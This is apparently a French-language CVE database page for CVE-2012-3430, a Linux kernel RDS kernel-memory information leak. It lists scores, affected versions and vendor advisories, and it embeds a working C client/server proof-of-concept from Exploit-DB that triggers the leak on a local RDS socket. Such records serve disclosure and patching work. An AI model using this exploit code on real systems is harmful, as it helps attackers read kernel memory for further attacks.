CVE-2012-3430 : Détail

CVE-2012-3430

A01-Broken Access Control
0.04%V3
Local
2012-10-03
08h00 +00:00
2012-10-30
08h00 +00:00
CVE.org
NVD
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Descriptions du CVE

The rds_recvmsg function in net/rds/recv.c in the Linux kernel before 3.0.44 does not initialize a certain structure member, which allows local users to obtain potentially sensitive information from kernel stack memory via a (1) recvfrom or (2) recvmsg system call on an RDS socket.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37543

Date de publication : 2012-07-25 22h00 +00:00
Auteur : Jay Fenlason
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/54702/info The Linux kernel is prone to a local information-disclosure vulnerability. Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. */ /***************** rds_client.c ********************/ int main(void) { int sock_fd; struct sockaddr_in serverAddr; struct sockaddr_in toAddr; char recvBuffer[128] = "data from client"; struct msghdr msg; struct iovec iov; sock_fd = socket(AF_RDS, SOCK_SEQPACKET, 0); if (sock_fd < 0) { perror("create socket error\n"); exit(1); } memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); serverAddr.sin_port = htons(4001); if (bind(sock_fd, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) { perror("bind() error\n"); close(sock_fd); exit(1); } memset(&toAddr, 0, sizeof(toAddr)); toAddr.sin_family = AF_INET; toAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); toAddr.sin_port = htons(4000); msg.msg_name = &toAddr; msg.msg_namelen = sizeof(toAddr); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_iov->iov_base = recvBuffer; msg.msg_iov->iov_len = strlen(recvBuffer) + 1; msg.msg_control = 0; msg.msg_controllen = 0; msg.msg_flags = 0; if (sendmsg(sock_fd, &msg, 0) == -1) { perror("sendto() error\n"); close(sock_fd); exit(1); } printf("client send data:%s\n", recvBuffer); memset(recvBuffer, '\0', 128); msg.msg_name = &toAddr; msg.msg_namelen = sizeof(toAddr); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_iov->iov_base = recvBuffer; msg.msg_iov->iov_len = 128; msg.msg_control = 0; msg.msg_controllen = 0; msg.msg_flags = 0; if (recvmsg(sock_fd, &msg, 0) == -1) { perror("recvmsg() error\n"); close(sock_fd); exit(1); } printf("receive data from server:%s\n", recvBuffer); close(sock_fd); return 0; } /***************** rds_server.c ********************/ int main(void) { struct sockaddr_in fromAddr; int sock_fd; struct sockaddr_in serverAddr; unsigned int addrLen; char recvBuffer[128]; struct msghdr msg; struct iovec iov; sock_fd = socket(AF_RDS, SOCK_SEQPACKET, 0); if(sock_fd < 0) { perror("create socket error\n"); exit(0); } memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); serverAddr.sin_port = htons(4000); if (bind(sock_fd, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) { perror("bind error\n"); close(sock_fd); exit(1); } printf("server is waiting to receive data...\n"); msg.msg_name = &fromAddr; /* * I add 16 to sizeof(fromAddr), ie 32, * and pay attention to the definition of fromAddr, * recvmsg() will overwrite sock_fd, * since kernel will copy 32 bytes to userspace. * * If you just use sizeof(fromAddr), it works fine. * */ msg.msg_namelen = sizeof(fromAddr) + 16; /* msg.msg_namelen = sizeof(fromAddr); */ msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_iov->iov_base = recvBuffer; msg.msg_iov->iov_len = 128; msg.msg_control = 0; msg.msg_controllen = 0; msg.msg_flags = 0; while (1) { printf("old socket fd=%d\n", sock_fd); if (recvmsg(sock_fd, &msg, 0) == -1) { perror("recvmsg() error\n"); close(sock_fd); exit(1); } printf("server received data from client:%s\n", recvBuffer); printf("msg.msg_namelen=%d\n", msg.msg_namelen); printf("new socket fd=%d\n", sock_fd); strcat(recvBuffer, "--data from server"); if (sendmsg(sock_fd, &msg, 0) == -1) { perror("sendmsg()\n"); close(sock_fd); exit(1); } } close(sock_fd); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.0.43

Linux>>Linux_kernel >> Version 3.0.1

Linux>>Linux_kernel >> Version 3.0.2

Linux>>Linux_kernel >> Version 3.0.3

Linux>>Linux_kernel >> Version 3.0.4

Linux>>Linux_kernel >> Version 3.0.5

Linux>>Linux_kernel >> Version 3.0.6

Linux>>Linux_kernel >> Version 3.0.7

Linux>>Linux_kernel >> Version 3.0.8

Linux>>Linux_kernel >> Version 3.0.9

Linux>>Linux_kernel >> Version 3.0.10

Linux>>Linux_kernel >> Version 3.0.11

Linux>>Linux_kernel >> Version 3.0.12

Linux>>Linux_kernel >> Version 3.0.13

Linux>>Linux_kernel >> Version 3.0.14

Linux>>Linux_kernel >> Version 3.0.15

Linux>>Linux_kernel >> Version 3.0.16

Linux>>Linux_kernel >> Version 3.0.17

Linux>>Linux_kernel >> Version 3.0.18

Linux>>Linux_kernel >> Version 3.0.19

Linux>>Linux_kernel >> Version 3.0.20

Linux>>Linux_kernel >> Version 3.0.21

Linux>>Linux_kernel >> Version 3.0.22

Linux>>Linux_kernel >> Version 3.0.23

Linux>>Linux_kernel >> Version 3.0.24

Linux>>Linux_kernel >> Version 3.0.25

Linux>>Linux_kernel >> Version 3.0.26

Linux>>Linux_kernel >> Version 3.0.27

Linux>>Linux_kernel >> Version 3.0.28

Linux>>Linux_kernel >> Version 3.0.29

Linux>>Linux_kernel >> Version 3.0.30

Linux>>Linux_kernel >> Version 3.0.31

Linux>>Linux_kernel >> Version 3.0.32

Linux>>Linux_kernel >> Version 3.0.33

Linux>>Linux_kernel >> Version 3.0.34

Linux>>Linux_kernel >> Version 3.0.35

Linux>>Linux_kernel >> Version 3.0.36

Linux>>Linux_kernel >> Version 3.0.37

Linux>>Linux_kernel >> Version 3.0.38

Linux>>Linux_kernel >> Version 3.0.39

Linux>>Linux_kernel >> Version 3.0.40

Linux>>Linux_kernel >> Version 3.0.41

Linux>>Linux_kernel >> Version 3.0.42

Références

http://www.ubuntu.com/usn/USN-1572-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1579-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1578-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/50732
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/50811
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1567-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://rhn.redhat.com/errata/RHSA-2012-1323.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/USN-1577-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1568-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-1575-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/50633
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1580-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2012/07/26/5
Tags : mailing-list, x_refsource_MLIST